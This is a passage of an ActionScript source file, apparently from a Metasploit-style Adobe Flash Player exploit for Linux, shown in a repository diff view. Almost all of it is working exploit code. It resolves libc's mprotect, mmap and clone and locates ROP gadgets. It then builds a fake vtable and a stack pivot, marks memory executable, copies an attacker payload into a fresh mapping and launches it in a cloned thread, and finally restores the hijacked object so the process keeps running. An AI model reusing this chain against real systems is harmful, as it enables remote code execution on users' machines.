var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
// 1) Recover original vtable
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
// 2) Recover original stack
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
|
// Put the popen parameters in memory
|
||||||
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
|
|
||||||
|
// Put the fake stack/vtable on memory
|
||||||
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||||
|
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||||
|
|
||||||
|
// Return to mprotect()
|
||||||
|
eba.write(stack_address + 0x18034, mprotect)
|
||||||
|
// Return to stackpivot (jmp over mprotect parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mprotect() arguments
|
||||||
|
eba.write(0, buffer) // addr
|
||||||
|
eba.write(0, 0x1000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
|
// Return to CoE (fix stack and object vtable)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
// clone() arguments
|
||||||
|
eba.write(0, 0x70000000) // code
|
||||||
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
|
//call DWORD PTR [eax+0x24]
|
||||||
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
//EDI: 0xad857088 ("AAAA\377")
|
||||||
|
eba.write(main, stack_address + 0x18000)
|
||||||
|
exploit.hasOwnProperty('msf')
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cleanup():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - cleanup()")
|
||||||
|
spray = null
|
||||||
|
stack = null
|
||||||
|
payload_space = null
|
||||||
|
eba = null
|
||||||
|
ev = null
|
||||||
|
exploit = null
|
||||||
|
System.pauseForGCIfCollectionImminent(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue